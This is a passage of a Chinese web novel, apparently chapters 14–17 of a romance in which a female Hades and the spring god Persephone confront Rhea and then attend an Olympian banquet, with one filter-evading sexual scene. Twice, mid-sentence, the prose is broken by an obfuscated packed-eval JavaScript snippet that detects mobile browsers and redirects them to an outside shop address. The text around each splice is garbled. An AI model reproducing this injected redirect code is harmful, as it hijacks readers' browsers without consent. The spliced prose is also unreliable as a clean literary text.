他们沿着蜿蜒向下的阶梯前行,永无止境般的黑暗慢慢被驱离,使他们逐渐能看清周围的具体环境。 两侧岩壁上镶嵌着散发微光的结晶,里面是外观狭小实则空阔的囚笼,映照出无数被禁锢的古老身影。 有些实力强大的罪神能够从这结晶内望见外面——当然是指那些曾经统治世界且不满奥林匹斯神族的泰坦神。 他们认出了哈蒂丝,因此发出各种咆哮或讥讽声。 “瞧瞧是谁来了?我们尊贵的冥王陛下!” “天呐珀耳塞斯,这次居然不是你那两面三刀的恶心种。” “给我闭嘴,忒亚!” “还带了个小男朋友?也是该死的奥林匹斯神?” “他一定是德墨忒尔那个小混蛋的儿子,瞧那长着花的藤蔓!” “嘿小东西,你知不知道你身边这位当年有多热爱杀戮?” “……” 嘶,好吵,跟鸟雀似的叽叽喳喳。 这些从未有长进的老家伙真是一如既往。 哈蒂丝的态度有些不耐烦。 而珀瑟福则是打量着被关押在此地的泰坦罪神们,不发一语。 同时,哈蒂丝甚至没有转头或者朝那些吵闹者投去视线,仅仅是抬手打了个响指,多嘴的老家伙们瞬间被又一层结界笼罩,被迫沉默。 他们只能瞪大眼睛发出无声的怒吼,看起来真是赏心悦目。 这下哈蒂丝满意了。 珀瑟福注意到了她嘴角处带着嘲讽的弯弧,却没有多问,而是好奇地凑近一个结晶囚笼。 “那些老家伙能听见我们说话吗?” “现在不能了。” “太好了。”珀瑟福立刻对着刚才那个闹得最凶的泰坦神做了个鬼脸,“你也是个老古董,穿着囚服的样子滑稽可笑!” 哈蒂丝:“……” 真幼稚啊,小家伙。 当穿过这片满是结晶囚笼的区域之后,前方终于出现了一片相对开阔的空间。 在虚假阳光的照耀之下,此处并不像是冥界的其它地方那样阴森,反而布置成了应有尽有的庭院,还带着奥林匹斯圣山的华丽风格。 珀瑟福微微扬眉,内心变得愉快起来。 因为他所眼见的风景终于变好了。 各种鲜花在微光中绽放,石雕喷泉流淌着星光般的水流,而庭院中央则坐着一位端庄的女神。 瑞亚是继承了盖亚能力的地母神,也是生育与丰饶的象征。 凡间的有些人认为她代表了永恒流动的时间,因为她的名字寓意为‘流动和轻松自由’。 瑞亚看起来像是贵妇,拥有永远年轻的美丽容颜,长发的颜色如同土地,被绿色的丝带缠绕成花苞的形状扎在脑后,丰腴的身躯穿着同样绿色的简朴长袍。 那位就是哈蒂丝的母亲吗? 珀瑟福想起了母亲德墨忒尔,因为对方是瑞亚的子女们中最像她自己的。 当他跟着哈蒂丝走近时,瑞亚正低头侍弄一盆奇特的植物,它长着银色的叶片,开出的花却像缩小版的星辰。 他们来到瑞亚面前后,她才抬起头来,仿佛现在才知晓他们的到来。 她的目光首先落在自己的次女身上,带着怀念意味地开口道:“你来了,哈蒂丝。” “日安,母亲。”哈蒂丝点头,“我有事找您,您应该明白我的意思。” 然而瑞亚没有即刻回应女儿,而是转移目光看向了站在其身旁的年轻男神。 珀瑟福维持着完美无瑕的礼貌微笑,朝这位身份高贵的地母神点头致敬:“日安,尊敬的瑞亚女神,您永远都是如此容光焕发。” “你就是德墨忒尔的儿子?我记得名字是叫做珀瑟福,意义非凡。”瑞亚同样微笑着,深邃的绿眸像是翡翠,其中闪烁着浅光,“孩子,你比我想象中更有活力。” 珀瑟福与生命息息相关,鲜活而有趣。 身为地母神的瑞亚本该对这象征着种子发芽、万物复苏的春神感到亲切。 可她见其灵魂已被阴暗的邪念腐蚀。 她心里想着——我的女儿应该值得更好的,而不是这种卑劣无耻的家伙。 所谓‘更好的’自然是指各方面俱佳的哭河之子。 瑞亚表情慈爱地注视着珀瑟福,内心却在刻薄地挑剔他。 “哈蒂丝,我的女儿。”她温声说道,“为什么你不把明塔带来呢?” 刹那间,哈蒂丝抿了抿薄唇。 抵触之情油然而生。 “不,请您先回答我的问题。”哈蒂丝对上了母亲的绿眸,它们比珀瑟福的眼睛颜色要深沉太多。 瑞亚边抚摸着那盆植物,边言笑晏晏:“亲爱的,你有问过我吗?” 这句话表面上是在回应哈蒂丝刚刚所说的话,实则是在不满她不顾自己的意见。 她相当清楚母亲的脾性,因此内心的抵触之情越来越深。 而珀瑟福则是从瑞亚身上看见了万恶的明塔的身影。 太像了,那如出一辙的傲慢态度。 他们都妄想从他这里夺走她。 15.第十五章 “当然问过,我说过了,您应该明白我的意思。”哈蒂丝语气平静,却带着不容置疑的力度,“您特意让明塔去奥林匹斯找宙斯举办两日后的宴会,又让赫尔墨斯送来请柬……非要我说的这么直白吗?母亲,我选择的是珀瑟福。” 上一次她用这种态度说话,还是在三千年前。 瑞亚轻抚银色叶片的手指顿了顿。 而珀瑟福则察觉到了哈蒂丝正处于心烦意乱的状态,她面无表情,漆黑的瞳眸深沉无比,令他想要抚慰她。 于是他真的这么做了,用左手小指轻轻地勾了勾她的手指,将肉眼可见的爱意蔓延。 哈蒂丝转头望了他一眼,蹙起的眉头变平,面色这才好转。 亲爱的,你就该永远无忧无虑啊。 珀瑟福在内心这么想着。 一切尽收瑞亚眼帘。 “总是想的太多不是件好事,我的女儿,这会迷乱你的心智。”瑞亚放下修剪花枝的银剪,现在她盯着珀瑟福的目光真将审视意味完全显露,“你真的觉得这位小朋友适合站在你身边?适合成为冥界的另一位主人?” 这问题直接得近乎冒犯。 那就仿佛是在明目张胆地嘲讽。 即使内心再怎么不满,珀瑟福的笑容也丝毫未变,他想起了哈蒂丝在带自己来到这里前的关心之言。 假如瑞亚对他说了什么不中听的话,那么他可以不用隐忍。 因此他心安理得地选择了再一次被她纵容。 “请恕我冒昧,瑞亚女神。”珀瑟福笑意未达眼底,“适不适合是由哈蒂丝姐姐说了算。毕竟冥界属于她,不是吗?” 漂亮的反击。 哈蒂丝抓住珀瑟福的手指,嘴角终于再度勾起弯弧。 “他说的对,母亲。”她直视而去,眼神凛冽。 真是……有多久没有见到如此姿态的哈蒂丝了呢? 瑞亚愈发怀念过去了,她引以为傲的次女在曾经的战争中是位永远理智的高傲强者,而不是像现在这样受‘真爱’所拘束。 那所谓的真爱还总是称呼哈蒂丝为姐姐,明明他本性邪恶贪婪,却故作卑微讨好的甜腻姿态。 不过是区区一个有点儿心机手段的幼稚小辈而已。 瑞亚低笑了一声,其中听不出任何情绪:“年轻真好啊,就连说话都这么有底气。” 言语间,她的视线扫过珀瑟福袖口隐约露出的藤蔓,它已经不再萎靡,而是重新开出了鲜艳的小花。 那其实很美,美到瑞亚感觉刺眼。 她喜欢园艺的原因之一,便是可以随心所欲地修剪不需要的东西。 “在你心里我似乎是个坏母亲,哈蒂丝。”瑞亚说道,“但我并不讨厌这孩子,相反,我也很喜欢他。” 听到这话,珀瑟福差点就要真的以为瑞亚总算认可他了。 然而哈蒂丝抓他手指的力度却倏地变大。 白皙柔软的皮肤显现红痕。 这是……? 在对哈蒂丝的担忧中,珀瑟福仿若习惯般无视了来自手上的疼痛感。 “喜欢是一回事,责任是另一回事。” 瑞亚站起身来,她的身形与自己的次女相仿,同样高挑,属于强权神祇的威压在空气中缓缓弥漫开来。 “哈蒂丝,你统治冥界已有千万年,应该比谁都清楚那些道理。” “比如?”哈蒂丝丝毫不畏惧于母亲的威压。 “我也说过,你本就是清楚的。”瑞亚一字一句都像是在敲打,“你还记得自己当初选择冥界时发过的誓言吗?” ……誓言? 气氛骤然紧绷。 “是的,我记得。”哈蒂丝依然抓着珀瑟福的手指,坚守自己的心意,“但那与此事无关。” 瑞亚又笑了:“怎么会无关呢?这孩子是长满荆棘的附毒藤蔓,会扰乱冥界秩序。” 一位地母神说出这种意味深长的话语,而且其还是瑞亚,那代表着她迟早会动用自己的剪子将她所认为的杂碎全部消灭。 珀瑟福脸上的笑容淡了些许。 在哈蒂丝开口之前,他先一步动作了。 “瑞亚女神,您这话说得好像我是什么祸害似的。”珀瑟福说话直接,他向前半步,不着痕迹地将哈蒂丝挡在身后,“我虽然爱种花,但也没把审判庭拆了,更没让斯提克斯河改道。” “相反——” 珀瑟福歪头,礼貌微笑还挂在那张漂亮得不可思议的脸上。 “最近冥界的亡灵情绪稳定了不少,众冥神工作效率有所提高,连卡戎都说摆渡时清净多了。如若您不信,大可亲自走出塔尔塔洛斯看一看。” 这孩子…… 瑞亚捻着身边星辰般的花朵,眯了眯眼睛。 这孩子果真跟她所预想的一模一样,是个必须被除掉的祸害。 “油嘴滑舌。”瑞亚评价道。 “谢谢您,哈蒂丝姐姐也这么夸奖过我。” “……” 珀瑟福招牌式眉眼弯弯,笑得令神心动,可瑞亚不会像哈蒂丝那样为他心软。 她的注意力转移向了自己那执迷不悟的女儿:“你看,这就是问题所在。” 所以,到底哪里有问题了? 珀瑟福那隐藏于内心的不满情绪越燃越烈。 “直到现在您也还是在指责我吗?母亲。” 哈蒂丝眼神冷淡,不由自主地回想起了过去的某些事情。 “我早已不再劝说您与克洛诺斯的纠葛,也并未过问您派遣明塔在我的领域执行任务之事。”她接着说道,冷酷而又强势,“那便也请您不要再随意干涉我的意志。” 哈蒂丝的意志,亦即冥王陛下的意志。 “哇哦。”珀瑟福回头看向她,忍不住惊叹出声,音量很轻。 这样的哈蒂丝姐姐,即便周身似有阴沉黑雾围绕,也实在是太闪耀了。 等等……黑雾? 珀瑟福眨巴眨巴眼睛,十分确信自己没看错。 那看起来也是冥王的能力之一。 他很好奇——它能做什么? 在头顶虚假阳光的照耀之下,庭院里只剩下了石雕喷泉清脆作响的声音。 母女俩对峙许久,直至其中一位说话。 “我并未指责你,我的女儿。”瑞亚看似也如哈蒂丝般回忆起了从前,她声音放缓,却更显深沉,“感情会蒙蔽理智,会让你做出错误判断……我是你的母亲,自然会担心你。” 感情会蒙蔽理智,会让哈蒂丝姐姐做出错误判断?那还真是相当可笑啊。 珀瑟福又歪了歪头,往后退步,与哈蒂丝保持统一战线。 在他心里,她无论怎么做都是对的,绝对不可能出错。 老规矩——冥王的一切在春神这里都是最好的。 而她也继续发话了。 用那正确得不能再正确的判断。 “那么您就更加应该支持我。”哈蒂丝直视母亲的眼睛,“因为我现在很快乐,也非常清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987232|192031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒。” 然后,她停顿了一下,还是狠下心来说出了那句话。 “可您呢?” 这话说得过重了。 珀瑟福虽然正在保持沉默,但内心却忍不住想到了更多的事情。 比如——她们母女之间,曾经到底有过什么矛盾? 瑞亚听出了哈蒂丝的言外之意,脸色微微变化,唇边的弯弧迅速扯下。 她眼神逐渐变冷,如同她的女儿那般。 这样可不行。 珀瑟福适时插话,语气轻松得像是在聊天:“请恕我打扰一下,两位。” 很好,母女俩的对峙被打破了。 她们那还未融化的冰冷目光皆是看向了他。 但为了哈蒂丝,珀瑟福选择再接再厉、勇往直前。 “您刚刚说的很对,瑞亚女神,总是想的太多不是件好事。”珀瑟福笑意盈盈,语气温和,“哈蒂丝姐姐管理冥界这么多年,何时出过乱子?她比谁都清楚自己在做什么。” “你倒是会说话。”瑞亚瞥了这个神烦的小朋友一眼。 “是啊,我要是不会说话——”珀瑟福拖长声音,笑意终于抵达眼底,“那我亲爱的哈蒂丝姐姐可就早把我扔进科库托斯河泡澡了!” “对吧,亲爱的?” 他似乎总是如此令她深感愉悦。 哈蒂丝眼睫颤了一下,心跳忽地加快,相当配合地点头:“对,亲爱的。” 瑞亚:“……” 看着这对一唱一和的‘情侣’,瑞亚有种拳头打在棉花上的无力感。 年轻真好啊,说话就是有底气。 “看来你们是铁了心。”瑞亚坐回椅子,重新拿起银剪,“也罢,随便吧!不过哈蒂丝,记住你今日所言,如果将来因为这段关系出现任何问题……” 她抬眸,目光锐利如刀。 “那么,我势必会亲自处理。” 这话里的威胁意味真是再明显不过。 因这还是在对哈蒂丝不利,珀瑟福眸中快速地掠过一丝寒意。 “不会有那一天的到来。”哈蒂丝则是相当平静地颔首,“如果没别的事,我们就先告辞了,母亲。” 她原本还打算询问母亲是否会去参加两日后的奥林匹斯宴会。 但其实根本没有这个必要,因为明塔便代表了瑞亚。 思及至此,哈蒂丝转身朝回去的道路踏步,黑袍在空中划出了一条利落的弧线。 珀瑟福朝瑞亚礼貌地欠了欠身,迈着轻扬的步伐,径直跟随哈蒂丝一同朝来时之路走去。 两神走出庭院,直至完全离开瑞亚的视线范围后,她才继续了之前未完的修剪盆栽行为,还对着它轻轻叹了一口气。 “看到了吗?” 瑞亚望向那逐渐显露某个身影的角落。 “他们俩就如同岩石般坚不可摧。” 在淡淡的荧光中,明塔那从远处传来的幻影微微一笑,似乎缺乏攻击性的温润面容被光照得失去了红润的色泽。 “请您不必担心,殿下。”哭河之子说道,“我自有一番打算。” 瑞亚咔嚓一下剪掉了多余的枝条:“你倒是沉得住气。” 对此,明塔还是以微笑回应。 “一时激情终究会消散,永恒不变才弥足珍贵。” 就比如——他对她来说依旧十分重要。 珀瑟福啊,狂妄自大的幼稚小辈,你迟早会化作哈蒂丝心中的残影,成为她手中最不起眼的那朵花。 16.第十六章 离开塔尔塔洛斯的黑暗小径比来时更显幽深。 那些被结界消音的泰坦罪神仍在不甘地瞪着眼睛,结晶囚笼映照出春神经过时故意晃悠的藤蔓,上面甚至还新开了几朵小白花,在深沉的死寂中格外扎眼。 “你故意的?”哈蒂丝瞥了一眼那得意洋洋的藤蔓。 “嗯哼。”珀瑟福心情颇好地甩了甩手,小白花跟着颤了颤,“反正那群老家伙也骂不出声,就当作是给他们增添点儿风景了。” “幼稚。” “但有用。”珀瑟福凑近,眼睛在昏暗光线下亮得像是冥河里的磷光虫,“你看,你笑了,很美。” 哈蒂丝这才察觉自己的嘴角确实弯着,她轻咳一声,恢复面无表情:“你看错了。” 可是,刚刚在瑞亚的庭院时,她也因他而笑过。 他想要真挚诚恳地告诉她,哪怕众生皆认为她孤高冷漠、残忍无情,她也是全世界最好的,无论是外在还是心灵。 但这些话他要留在更加适合的时候说。 “好,那就是我看错了。”珀瑟福从善如流地回应道,手却悄悄勾住她的小指,“不过,瑞亚女神最后那句话……” 他顿了顿,眼神暗沉了一瞬。 “‘亲自处理’是什么意思?该不会是打算把我种的花全拔了吧?” 故意用幽默的语气遮掩住自己内心的焦虑与不满,如果不是担忧哈蒂丝会感到困扰,珀瑟福本想直接说出一些过分的话。 只要一想到要用什么东西来泄愤,珀瑟福的脑海中首先浮现的便是某个老古董那张应该被狠狠摧毁的脸。 如果把明塔毁掉的话……她就会永远只关注他了吧? 然而,哈蒂丝并不知晓珀瑟福内心这从未消散过的阴暗想法。 “我不会允许这种事情发生的。”她情绪冷静,反手握住他的手。 空气沉默了两秒。 珀瑟福忽然笑出声来,说:“真好,那我就继续在明塔那儿种花了。” 如果不能让明塔知难而退早点儿滚回塔尔塔洛斯,能恶心他也是挺爽的。 珀瑟福在内心如此恶劣地想道。 就算那家伙因此名正言顺去瑞亚那里告状也没关系。 “亲爱的,反正你肯定会护着我。”珀瑟福笑吟吟地看着她,浅金色卷发在幽暗里泛起微光,“对吧?” “对。” 哈蒂丝点头,握着珀瑟福的手紧了紧。 她对他的包容令他不禁遐想更多。 他喜欢的就是这样的她。 两神回到冥王宫时,已是冥界的傍晚时分。虽然这里的天空永远都是阴沉的黑夜,但磷火会按时调暗,营造出些许昼夜交替的错觉。 修普诺斯正靠在宫门边打哈欠,见自家陛下和春神归来,慵懒地挥了挥手:“欢迎回来~看二位表情,战况貌似不是很激烈?” “还行。”哈蒂丝简短地总结道,“母亲没松口,但也没拦着。” “那就是默许了!”珀瑟福立刻接话,笑容灿烂到像是刚赢得了一场大战,“不愧是哈蒂丝姐姐,几句话就让瑞亚女神无话可说!” 修普诺斯挑眉:“难道当时你没有说些什么嘛?” “有啊,不过主要还是我家亲爱的气场太强大了。”珀瑟福耸了耸肩,“而且你当时没看见,那些罪神吓得连声音都没发出来。” 我家亲爱的?春神现在说话是越来越无所顾忌了。 有他亲爱的宠着就是好啊。 “罪神?”修普诺斯笑了,“看来你是见到许珀里翁和珀耳塞斯那群家伙了。” “他们最开始还想挑拨我们之间的关系,我都懒得搭理。” “哈哈哈哈,老家伙们是这样的,整天被关在塔尔塔洛斯早就疯了。” 哈蒂丝看着聊得正欢的珀瑟福与修普诺斯,忽然想起了一件重要的事情。 她问道:“明塔呢?” 今天明塔好像没出过门? 而在听到哈蒂丝提及哭河之子时,珀瑟福顿了一下,侧眸看来。 他想到了一个好主意。 关于如何更加深刻地警告明塔。 “我去找过,明塔好像在偏殿整理行李,说是要为后天的宴会做准备。”修普诺斯向哈蒂丝回复道,“需要我去‘关照’一下吗?比如让他做个噩梦,梦到被食人花追着跑什么的……” 能说出这种话,看来连一向脾气随和的睡神都有些不满瑞亚与明塔了,因为他们给自家陛下添了麻烦。 “不用。”哈蒂丝说道,“维持现状就好。” “好嘞。”睡神伸了个懒腰,翅膀懒散地扇动了两下,“那我先去补个觉,今晚该塔纳托斯值班……哦,对了,您们二位离开后赫尔墨斯又溜来过一次,留了句话。” 嗯?赫尔墨斯? 该不会又跟两日后的宴会有关吧? 哈蒂丝和珀瑟福默契十足地想到了同一个可能性。 “赫尔墨斯留了什么话?”珀瑟福好奇地询问。 “他说宴会流程有惊喜,让我们这些去参加宴会的冥神——尤其是您们,可以穿好看些。” 还真跟宴会有关。 珀瑟福皱眉:“惊喜?” “是啊,谁知道到时候会发生什么呢。” 珀瑟福再度看向哈蒂丝,却见她一副若有所思的样子,薄唇抿了抿。 她想,看来到时候是该找宙斯好好谈谈了。 与此同时,真理田园的审判庭内,三位判官正齐刷刷地冷脸批改公文,审判台下的亡灵们排起了长队,等待着自己被叫上去。 今日忒弥斯按照惯例来到这里巡视,接着就透过脸上蒙着的黑布看到了不知为何也在的赫卡忒。 嗯?厄里斯没跟她在一起吗? 在春神种出的鲜花之道中,忒弥斯走近那个角落,黑布下的目光停留在赫卡忒身边滋滋作响犹如雷电的大坩埚处。 坩埚被幽蓝火焰里灼烧,正熬煮着深紫色的液体,上面冒着热气,不时有泡泡升出,飘来的气味十分一言难尽,看起来诡异至极。 “日安。”忒弥斯开口了,“赫卡忒,你何时想到要在审判庭内熬煮魔药了?” “日安。”赫卡忒专心致志,没有停止用长棍在坩埚里来回搅拌的动作,“换个地方,换个心情。” 听到这话,忒弥斯手中的天秤差点摇晃不停。 “谁惹到你了?” “并没有。”赫卡忒盯着魔药中逐渐显现的扭曲人脸,血红色的眼眸里溢满了复杂的情绪,“说起来,我感知到陛下带着春神去了一趟塔尔塔洛斯。” 忒弥斯了然道:“他们是去找瑞亚了。” 赫卡忒停止搅拌魔药,将幽蓝火焰变小了一些,然后往越来越沸腾的坩埚里扔了一把带着腐蚀性液体的冥河草。 “这次的宴会我们还得去。”冥月女神说道,“我有事找宙斯,你要一起来吗?” 忒弥斯立刻猜测到了赫卡忒这是在熬煮什么魔药。 她思考了片刻,淡淡地回应道:“不巧,我有事找赫拉。” 如果现在厄里斯在这里的话,绝对会对她们俩的这段交流感到莫名其妙。 毕竟,有什么事情是不能大家坐下来一起商量的呢? 冥王宫寝殿内,属于春神的藤蔓保持着被暂停时的形态,有几根甚至还定格在宽阔柔软的床榻上。 一进来,哈蒂丝就又想放松了,毕竟遇到了糟心事。 珀瑟福显然也是看出来了哈蒂丝的想法。 他打了个响指,藤蔓瞬间活络起来。 那些植物被他用意念驱使着窥伺而动,意图向着冥王蔓延,像是之前那样。 不可描述的次女大心在操纵之下尽数展现。 至少有一点瑞亚并未看错,珀瑟福的确对哈蒂丝心怀邪恶的念想,无可救药的那种。 他既野蛮又贪婪,无比渴望着从她那里索取更多。 她却并不对此感到困扰。 因为她与他是同类。 “这次要怎么玩?” 春神连这种羞耻的问题都直接说出了口,可见是被冥王惯得有多无法无天了。 “……” 但哈蒂丝没有即刻回应,而是走到梳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997970|192031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妆台前,目光扫过那个装着黑曜石耳坠的礼盒。 其实她还是感到有些恼火,所以便将这个由母亲赠予的礼物收进了抽屉深处。 珀瑟福看在眼里,他走到哈蒂丝身后,结实有力的双臂轻轻地环住她的腰,下巴搁在了她的肩头。 “后悔吗?”他忽然这么问道。 “后悔什么?” “关于带我回来……” 珀瑟福的声音闷闷的,洒在哈蒂丝脖颈上的热息烫得她皮肤泛起粉红。 “如果那晚你没理我,现在应该还在安安稳稳地睡觉,不用应付这些麻烦事。” 小家伙这是怎么了? 另类的撒娇吗? 哈蒂丝从镜子里看着珀瑟福垂下的眼睫,它们又长又卷,遮掩住了那双湿润绿眸的光亮,仿佛阴云密布。 她的心软得一塌糊涂,不禁伸手拍了拍他环在自己腰间的大手。 他的手长得漂亮到不输于脸,白到近乎透明,手指修长,骨头坚硬有力。 当在床榻之上珀瑟福用手抓住哈蒂丝时,惊险刺激而又密密麻麻的欢愉感便如潮涌般凶猛不断。 “我曾后悔过,但你使我坚定。”哈蒂丝语气平淡道,清冷的声音中却带着斩钉截铁的力量,“并且,麻烦一直都有,只是换了种形式。” 那听起来就宛若是世界上最动听的情话。 “相比之下——” 哈蒂丝转过身来,面露认真,抬起双手捧住了珀瑟福的脸庞。 在他目不转睛的注视中,她的漆黑眼眸直直看进了那双翠绿的眼底。 果然春神并未真的哭泣,刚刚他只是在用小心机撩拨冥王的心弦。 “你比睡觉有意思多了,小家伙。” 刹那间,珀瑟福又听到了来自心间的心跳声。 那只为她而存在的狂乱心跳幻觉般响彻于他耳扉,即将带起充满期待的节奏,以及她的身躯和声音。 珀瑟福努力克制心青..谷欠,笑得眼睛弯成月牙状:“这是我听过最好的情话,亲爱的。” 现在哈蒂丝也露出了笑容。 “不是情话,是事实。” “那就更棒了。” 他低头吻她,带着轻柔绵长。 寝殿内的磷火似乎都因这个吻而摇曳得温柔了些许,在墙壁上投出两抹逐渐饺叠在一起的影子。 “所以……这次我们要怎么王元呢?亲爱的。”珀瑟福再次提到了这个话题。 At this moment, she has been pinned down by him. 空间能力再用,令行力损,由其任意。 毕竟上次是他被动,这次该换换口味了。 “我不知道。” 言语间,双足为蔓渐开。 她望着珀瑟福,他眼尾泛起浅红,受无边的谷欠望所控制,整个神都兴奋到了极点。 明显他是已经自己想到了好点子啊。 如果众神知晓冥王与春神竟数次如此贪得无厌,一定都会惊叹。 “不过,嗯……”哈蒂丝直视着那双光芒暗沉的绿眸,从中见到了自己,“我建议你可以再.不可描述.一些,小家伙。” 又是那个昵称。 很好,珀瑟福笑了,纤细的月却月宛握住。 他的阴影缓缓覆上她的轮廓,如同夜色漫上最后一寸霞光,落下的目光太过专注,连她的哪怕一丝细微变化都不放过。 连空气都变得轻盈起来,每一次呼吸都牵动着感知,不由自主地轻轻震颤。 绽沵的花蕊变得鲜艳,无法忽视的爱意迅速月彭月长。 “姐姐是不是又忘记了?” 他的hands,他的mouth,他的more。 “哈啊……” 不止是这胸腔内的心跳,他的全部皆为她而狂乱。 “我才不是小家伙啊,亲爱的。” 坚影而有力。 十指相蔻时,夕漫过岸,任何未尽的话语都消融在交错的呼吸之间。 她占据着他的一切。 17.第十七章 两日后的奥林匹斯圣山果然热闹非凡。 无论是从冥界、大地还是海洋而来的神祇,几乎每一位的脸上都洋溢着笑容,连一向严肃的忒弥斯都心情颇好。 ——除了珀瑟福。 这一次来此,原本应该是哈蒂丝与珀瑟福并肩而立出现在大家面前,然而明塔却非要插足而入,把好好的两神行变成三神行。 就算是从黑马战车上下来后,老古董也丝毫未见收敛。 珀瑟福当然不愿接受这种情况,在冥界出口处时就差点跟明塔大打出手,可那时哈蒂丝伸手制止了他。 此刻,她也这么做了。 “……?” 在珀瑟福那不解里带着委屈的目光中,哈蒂丝瞥了正笑眯眯看来的明塔一眼,然后淡淡地开口了。 “无碍,等会儿我们找个位置一起坐就行。”哈蒂丝拍了拍左侧珀瑟福的肩膀,让他稍安勿躁,“明塔是我母亲的使者,这场宴会是她亲自策划,自然需要重视。” 她没有把这些当作悄悄话,故意让就站在她右侧的明塔听见,以示讽刺。 “好噢,我都听姐姐的。”珀瑟福瞬间就高兴了,朝某个不识好歹的撬墙角狂投去嘲讽的眼神,“我劝某些家伙还是识点儿分寸,别再来自讨没趣了,挺碍眼……嘶!” “别再嘴欠了。” 哈蒂丝无视了珀瑟福那可怜兮兮的表情,将手从他那被自己掐出红痕的漂亮脸蛋上收回。 “我就是嘴欠,欠姐姐亲!” “……” 不得不说,珀瑟福现在是越来越嘚瑟了。 鸡皮疙瘩都好像长出来了,悄咪咪关注这边的冥神们都忍不住捏了捏自己的胳膊,因为某对天天秀恩爱的情侣实在是太过分了。 厄里斯倒是非常喜欢看到这副场面:“好般配啊两位!准备什么时候结婚?” 修普诺斯和塔纳托斯双双憋笑,肩膀不停发抖。 赫卡忒无语地举拳捶了一下厄里斯的脑壳,这才令其闭嘴。 而明塔则是无言地注视着这一切,目光久久停留在正跟珀瑟福说笑的哈蒂丝身上,银灰色眼眸中光芒闪烁。 真正碍眼的……分明就是这个挖墙角的卑劣小辈,无时无刻不在黏着她的春神。 今日这场举办在奥林匹斯圣山的宴会虽是瑞亚策划,但其并没有亲自到场,因为有明塔这个使者在。 想到那位交给自己的任务,明塔闭了闭眼,努力将哈蒂丝与珀瑟福亲密快乐的画面从自己脑海中散去,以此维持心态平和。 不行,现在还不是时候…… 在一片欢声笑语中,哈蒂丝带着诸位冥神走向金碧辉煌的神殿大厅。 当众神见到走在最前面的三神时,眼珠子似乎都要掉落在地了。 不是,冥王陛下怎么像是带了两个男侍一样?为何珀瑟福和明塔会一左一右地在她身侧? 等、等等,珀瑟福?明塔?! 这么说来的话,最近确实听说过冥王跟春神的暧昧绯闻,上次宴会时前者还直接将后者掳回冥界,而明塔则是从三千年前开始就在追求她…… 啧啧啧,想必今天肯定会有大事发生吧! 一众神祇顿时换上了看好戏的表情,等着一会儿能不能见到二男争一女的绝妙场面。 正巧赫尔墨斯在云端穿梭,数着飞过的神祇:“阿波罗到了,阿尔忒弥斯带着山林宁芙们……哇~连赫利俄斯都提早收工了!我得赶紧点完数过去!” 宴会厅内早已有美妙的音乐奏起,先到的神祇们三三两两地聚着,目光却总是难耐地瞟向门口。 “听说冥王陛下今天也会来?” “当然!没看见德墨忒尔笑得像是刚丰收了十季?” “嘘,我还听说瑞亚殿下那边的明塔也……” 窃窃私语声在阿波罗拨响里拉琴时短暂停止,又在他停下时更加热烈。 在一片注目中,今日宴会的主角们终于到场,大厅的门为他们自动敞开。 哈蒂丝难得放弃最爱的黑袍,换了身深紫色长裙,黑线绣成的花纹在灯光下若隐若现。 而珀瑟福则是换成了圣洁的白袍,头戴花冠,脚踝圈着金环。 两神不仅衣服用了同样的刺绣工艺,连腰间束带的扣环都是同款黑曜石,更不用说手上用细藤编织的指环。 虽然并没有明说,但这和官宣订婚有什么区别? 最吸引注意的则是——哈蒂丝与珀瑟福几乎是紧贴着一起入场,长着小花的藤蔓将他们俩的手臂缠连,一看就是独占欲发作的春神的杰作。 有好事神已经“哇哦”出声了。 明塔明明就站在哈蒂丝的右侧,但却无法再如往常那般轻松自如地与其建立联系。 “我们去母亲那儿坐吧,亲爱的。” “好,我正有此意。” 他只能眼睁睁地看着珀瑟福将哈蒂丝带离自己身边。 那卑劣小辈甚至还回眸朝他挑了挑眉,嘴角勾起恶劣的弯弧,仿佛是在嘲笑他不自量力。 手不禁握拳,却又松开。 “春神……”明塔低声呢喃着,忽地轻笑起来,“呵,那就继续这样下去吧。” 珀瑟福啊,你不过是她随手可弃的玩物而已。 这样的关系究竟还能持续多久呢? 至少,在瑞亚的支持下,明塔是绝对不会让哈蒂丝跟珀瑟福成功结婚的。 似乎是听到了明塔的自言自语,赫卡忒和厄里斯看了看他,互相交换了一个眼神。 ——我猜他肯定要闹事! ——我知道。 跟在后面的双子神奇怪地看着这两位女神无声交流。 塔纳托斯:“厄里斯,你该不会又要搞事吧?” 厄里斯:“有病就直说,明明要搞事的另有其神!” 修普诺斯:“赫卡忒?” 赫卡忒:“……不是我。” 卡喀亚混入其中:“肯定是咱们的哭河之子啊笨蛋们~” 哦,这样啊,想想也是。 与此同时,哈蒂丝正边往主宾席走,边盯着缠在自己左手臂上的藤蔓。 珀瑟福的右手臂跟她紧密相贴,她好似能从这股温热感中听到他的心跳声。 “你真是愈发幼稚了,就这么怕明塔?”她忍不住这么说道。 “嗯?所以姐姐怎么会认为我是在害怕那个老古董?”珀瑟福笑着将一朵长春花别在哈蒂丝发间,令她的王冠更加耀眼,“我只是想跟你时刻都在一起而已。” “算了,随你吧。”哈蒂丝无奈于这小破孩的稀奇古怪想法和行为,“我今天还要找宙斯商量事情,到时候你记得把这藤蔓解开。” 珀瑟福愣了一下,随即眯了眯眼:“商量什么事情?你不准备带我一起吗?” 闻言,哈蒂丝侧头看去,不免失笑道:“放轻松,小家伙,在这之后我会告诉你的。” 